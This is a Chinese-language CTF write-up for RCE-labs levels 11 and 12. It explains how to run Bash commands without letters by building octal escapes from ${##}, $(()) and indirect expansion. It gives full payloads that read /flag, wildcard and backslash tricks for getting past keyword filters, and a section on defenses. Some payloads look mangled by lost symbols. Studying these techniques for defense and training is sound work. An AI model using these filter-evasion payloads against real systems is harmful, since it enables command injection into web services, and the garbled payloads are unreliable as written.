
1. RCE-labs Level 11 12 靶场深度解析这两个关卡属于RCE-labs靶场中无字母命令执行系列的中阶挑战主要考察对Bash特殊变量和算术扩展的深入理解。我们先从基础概念开始逐步拆解解题思路。1.1 核心原理Bash的无字母命令执行技术在Linux系统中当我们需要执行命令但被限制只能使用数字和少量特殊字符时可以通过Bash的特性构造出完整的命令。这种技术主要依赖以下几个Bash特性八进制转义字符$\\\xxx\格式可以直接执行对应ASCII码的字符算术扩展$((expression))可以进行数学运算特殊变量扩展如${#}、${?}等提供数字值位运算通过(左移)、~(按位取反)等操作构造所需数字1.2 Level 11解题思路数字1的特殊变量替换这一关限制我们只能使用# $ ( ) 0 1 \这些字符来构造命令。关键突破点在于如何表示数字1${##} # 这个表达式的结果是1解释第一个#是变量长度运算符第二个#是特殊变量$#(参数个数)在直接执行时值为0${#0}即0的长度为1通过这个技巧我们可以构造出数字1进而通过位运算构造其他数字。以执行ls命令为例原始八进制形式$\\154\163\ # ls转换后形式$0$0\\\\$\\\$(($((${##}${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}${##}))#${##}0${##}000${##}${##}))\拆解说明${##}${##}11 2 (定义二进制基数)第一个八进制数154转换为二进制001101100用${##}(1)和0表示第二个八进制数163同理转换最外层的$0用于二次解析生成的命令1.3 Level 12解题思路数字0的特殊变量替换这一关进一步限制不能直接使用数字0。我们需要通过间接变量引用来表示0${!#} # 在Bash中等于$0 (当前shell名称) ${!a} # 当a0时等于$0实际操作中我们使用__$(()) # __0 ${!__} # 等于$0完整payload构造过程定义__变量为0__$(())通过${!__}获取$0其余部分与Level 11类似使用${##}表示1用连接两条命令示例payload__$(())${!__}${!__}\\\\$\\\$(($((${##}${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}${##}))#${##}0${##}000${##}${##}))\2. 关键技术细节解析2.1 Bash特殊变量详解变量表达式含义示例输出${#}传递给脚本的参数个数0${?##}上条命令的退出状态0${!#}最后一个参数(在Bash中$0)bash${!var}间接引用(var的值作为变量名)变量值${##}$#的长度(通常为1)12.2 算术扩展技巧数字构造$(()) # 0 $((~$(()))) # -1 $((11)) # 2 (左移)二进制转换$((2#1010)) # 10 (二进制转十进制)取反运算$((~3)) # -4 (按位取反)2.3 命令拼接技术Here String$0command # 将command作为输入传递给shell变量拼接ac;bat;$a$b /flag # 等效于cat /flag转义字符c\a\t /fl\ag # 使用反斜杠绕过关键字检测3. 完整解题步骤3.1 Level 11实操流程确定目标命令cat /flag转换为八进制$\\143\141\164\40\57\146\154\141\147\替换数字部分0→ 无法直接使用需要用算术表达式$(())表示1→${##}2→$((${##}${##}))构造二进制表示# cat → \143 → 1100011 $((2#1100011)) → $(($((${##}${##}))#${##}${##}0${##}${##}${##}${##}))最终组合$0$0\\\\$\\\$(($((${##}${##}))#${##}${##}0${##}00${##}${##}))\\$(($((${##}${##}))#${##}0${##}${##}0${##}0${##}))\\$(($((${##}${##}))#${##}0${##}${##}${##}0${##}))\\$(($((${##}${##}))#0${##}0${##}${##}0${##}))\\$(($((${##}${##}))#${##}0${##}${##}${##}${##}0))\\$(($((${##}${##}))#${##}0${##}${##}0${##}))\\$(($((${##}${##}))#${##}${##}0${##}0${##}${##}))\3.2 Level 12实操流程定义0的替代方案__$(()) # __0 ${!__} # 等于$0构造命令前缀__$(())${!__}${!__}\\\\$沿用Level 11的数字替换方法构造命令部分注意在PHP中使用system()函数时需要确保sh指向bashRUN ln -sf /bin/bash /bin/sh4. 常见问题与解决方案4.1 问题payload执行无反应原因分析目标系统的sh可能指向dash而非bash特殊字符在HTTP传输过程中被转义长度限制导致命令不完整解决方案确认shell环境echo $0 ls -l /bin/sh对特殊字符进行URL编码# 将$编码为%24编码为%3C使用短命令如ls测试基础功能4.2 问题算术扩展不生效原因分析算术表达式语法错误使用的shell不支持某些特性解决方案分步测试表达式echo ${##} # 应输出1 echo $((${##}1)) # 应输出2使用更基础的表达式# 用$((11))替代$((11))4.3 问题字符集限制严格解决方案利用通配符/???/?a? /??a? # 匹配/bin/cat /flag使用环境变量echo ${PATH:0:1} # 输出/ cat ${PATH:0:1}flag5. 防御方案与靶场设计思考5.1 如何防御无字母RCE攻击输入过滤禁止特殊字符$(){}等限制参数长度环境加固RUN ln -sf /bin/dash /bin/sh # 使用dash而非bash权限控制使用低权限用户运行服务禁用危险函数5.2 靶场设计技巧渐进式难度设计从基础命令执行开始逐步增加过滤规则最后组合多种限制条件真实场景模拟设置合理的错误提示模拟常见WAF规则提供环境信息查询接口教学提示设计// Level 11提示 if($_GET[hint] 1){ echo Hint: You can use ${##} to represent 1; }通过这两个关卡的学习我们深入理解了Bash底层解析机制和极端条件下的命令构造技术。这种知识不仅对CTF比赛有帮助也能让我们更好地理解Linux系统安全和防御策略。